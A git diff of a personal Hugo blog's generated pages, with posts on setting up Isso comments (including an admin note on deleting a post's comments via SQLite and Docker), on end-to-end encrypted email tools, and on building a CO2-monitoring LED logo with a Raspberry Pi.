    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/rss/page/1/index.html b/public-clearnet/tags/rss/page/1/index.html new file mode 100644 index 0000000..23151cd --- /dev/null +++ b/public-clearnet/tags/rss/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/rss/ + \ No newline at end of file diff --git a/public-clearnet/tags/s/mime/index.html b/public-clearnet/tags/s/mime/index.html new file mode 100644 index 0000000..e42886f --- /dev/null +++ b/public-clearnet/tags/s/mime/index.html @@ -0,0 +1,11 @@ +S/Mime | AlipourIm journeys +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/s/mime/index.xml b/public-clearnet/tags/s/mime/index.xml new file mode 100644 index 0000000..0a350de --- /dev/null +++ b/public-clearnet/tags/s/mime/index.xml @@ -0,0 +1,158 @@ +S/Mime on AlipourIm journeyshttps://blog.alipour.eu/tags/s/mime/Recent content in S/Mime on AlipourIm journeysHugo -- 0.146.0enThu, 30 Oct 2025 00:00:00 +0000Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/s/mime/page/1/index.html b/public-clearnet/tags/s/mime/page/1/index.html new file mode 100644 index 0000000..9b55e8e --- /dev/null +++ b/public-clearnet/tags/s/mime/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/s/mime/ + \ No newline at end of file diff --git a/public-clearnet/tags/scd41/index.html b/public-clearnet/tags/scd41/index.html new file mode 100644 index 0000000..30e1859 --- /dev/null +++ b/public-clearnet/tags/scd41/index.html @@ -0,0 +1,13 @@ +Scd41 | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/scd41/index.xml b/public-clearnet/tags/scd41/index.xml new file mode 100644 index 0000000..c12d5d3 --- /dev/null +++ b/public-clearnet/tags/scd41/index.xml @@ -0,0 +1,400 @@ +Scd41 on AlipourIm journeyshttps://blog.alipour.eu/tags/scd41/Recent content in Scd41 on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttps://blog.alipour.eu/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
